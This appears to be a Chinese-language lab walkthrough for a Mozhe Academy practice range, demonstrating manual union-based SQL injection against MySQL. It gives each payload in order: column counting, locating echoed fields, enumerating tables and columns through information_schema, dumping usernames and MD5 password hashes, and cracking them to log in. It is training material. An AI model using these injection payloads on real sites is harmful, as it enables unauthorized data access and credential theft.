墨者：通过手动解决SQL手工注入漏洞测试(MySQL数据库)
一、SQL手工注入漏洞测试(MySQL数据库)
本文以墨者学院靶场为例，演示MySQL数据库的手工SQL注入全过程。靶场以自己的地址为准：http://124.70.64.48:47777/new_list.php?id=1
二、注入原理与流程（如下指令去掉了id之前的内容）
MySQL手工注入主要通过闭合SQL语句、联合查询系统表来获取敏感信息。以下是完整的攻击流程：
1. 判断字段数
id=1 order by 5
- 作用：确定SELECT查询返回的列数
- 原理：通过递增
order by后的数字，当页面报错时说明超出实际字段数 - 示例：若
order by 4正常但order by 5报错，说明有4个字段
2. 确定回显位置
id=-1 union select 1,2,3,4
- 关键点：
id=-1使原查询无结果union select强制返回我们的数据- 页面显示的数字即为可回显的列位置
- 输出：假设页面显示
2和3，则后续注入用这两个位置
3. 获取数据库信息
id=-1 union select 1,group_concat(database()),3,4
- 函数说明：
database()：当前数据库名称group_concat()：多行结果合并为字符串
- 典型返回：
mozhe_Discuz_StormGroup
4. 枚举数据表
id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
- 系统表说明：
information_schema.tables：存储所有表信息table_schema：过滤指定数据库的表
- 输出示例：
StormGroup_member,notice,...
5. 获取字段结构
id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
- 系统表说明：
information_schema.columns：存储列定义信息table_name：指定目标表
- 返回结果：
id,name,password,status,...
6. 提取账号密码
id=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member
- 实战技巧：
- 使用
group_concat()合并所有记录 - 用
,分隔不同字段（如admin,user1和123456,qwerty）
- 使用
- 数据示例：
用户名：mozhe,admin,... 密码：5f4dcc3b5aa765d61d8327deb882cf99,098f6bcd4621d373cade4e832627b4f6,...
7. MD5解密后，手动登录，获取Key
MD5工具地址：https://www.cmd5.com/
三、关键指令速查表
| 指令/函数 | 作用 | MySQL特性说明 |
|---|---|---|
order by N | 判断字段数 | 报错法最可靠 |
union select | 联合查询 | 前后列数必须相同 |
database() | 当前数据库名 | 等价于schema() |
group_concat() | 行转字符串 | 默认逗号分隔 |
information_schema | 元数据库 | 存储所有表/列定义 |
table_schema | 过滤数据库 | 值需加引号 |
table_name | 过滤表名 | 区分大小写 |